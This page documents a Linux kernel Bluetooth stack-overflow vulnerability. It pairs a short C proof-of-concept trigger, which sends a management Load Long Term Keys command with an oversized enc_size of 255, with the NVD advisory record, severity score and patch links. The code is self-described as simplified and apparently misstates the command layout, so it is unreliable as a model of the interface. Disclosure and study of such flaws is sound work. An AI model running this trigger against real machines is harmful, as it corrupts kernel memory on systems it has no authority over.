CVE-2026-43020

/* * Conceptual PoC for CVE-2026-43020 * Demonstrates the structure of a malicious MGMT command. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/bluetooth.h> #include <errno.h> // MGMT Command Definitions #define MGMT_OP_LOAD_LONG_TERM_KEYS 0x0031 struct mgmt_hdr { uint16_t opcode; uint16_t index; uint16_t len; } __attribute__((packed)); // Simplified LTK structure for PoC struct mgmt_ltk_info { uint8_t addr_type; uint8_t bdaddr[6]; uint8_t type; uint8_t master; uint8_t enc_size; // Vulnerable field uint16_t ediv; uint8_t rand[8]; uint8_t val[16]; } __attribute__((packed)); int main() { int sock; struct sockaddr_hci addr; char buf[128]; struct mgmt_hdr *hdr = (struct mgmt_hdr *)buf; struct mgmt_ltk_info *ltk = (struct mgmt_ltk_info *)(buf + sizeof(*hdr)); // 1. Create Bluetooth Management Socket sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); if (sock < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.hci_family = AF_BLUETOOTH; addr.hci_dev = HCI_DEV_NONE; addr.hci_channel = HCI_CHANNEL_CONTROL; if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind"); close(sock); return 1; } // 2. Prepare malicious Load LTK command memset(buf, 0, sizeof(buf)); hdr->opcode = htobs(MGMT_OP_LOAD_LONG_TERM_KEYS); hdr->index = 0; // Controller index hdr->len = htobs(sizeof(*ltk)); memset(ltk, 0, sizeof(*ltk)); // Set enc_size to an invalid large value (e.g., 255) to trigger overflow ltk->enc_size = 255; // 3. Send command if (write(sock, buf, sizeof(*hdr) + sizeof(*ltk)) < 0) { perror("write"); } else { printf("Malicious LTK load command sent with enc_size=255\n"); } close(sock); return 0; }

{"cve": {"id": "CVE-2026-43020", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:46.233", "lastModified": "2026-05-08T14:41:09.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: MGMT: validate LTK enc_size on load\n\nLoad Long Term Keys stores the user-provided enc_size and later uses\nit to size fixed-size stack operations when replying to LE LTK\nrequests. An enc_size larger than the 16-byte key buffer can therefore\noverflow the reply stack buffer.\n\nReject oversized enc_size values while validating the management LTK\nrecord so invalid keys never reach the stored key state."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4", "versionEndExcluding": "5.10.253", "matchCriteriaId": "03AA2AFE-AC99-404E-AC4B-A0491F298002"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0f37d1e65c6d71ad94ccfb5c602163c525db789d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/257cdb960d8ff6d60bb6461b03c814b6cf0c9e64", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/40ba329e8b4cd2fb11b0caf5e6a543ceaebb6009", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/50fb64defa72a3fecd0af1ca7c6b47b5c5c2b257", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/82f342b3b006ca1d65f4890c05f2ec32fcb808b6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b8dbe9648d69059cfe3a28917bfbf7e61efd7f15", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c34577f517b556fb6ca173d45bf7e766ae2564ce", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f71695e81f4cb428f3c7e2138eae88199005b52c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": [" ... 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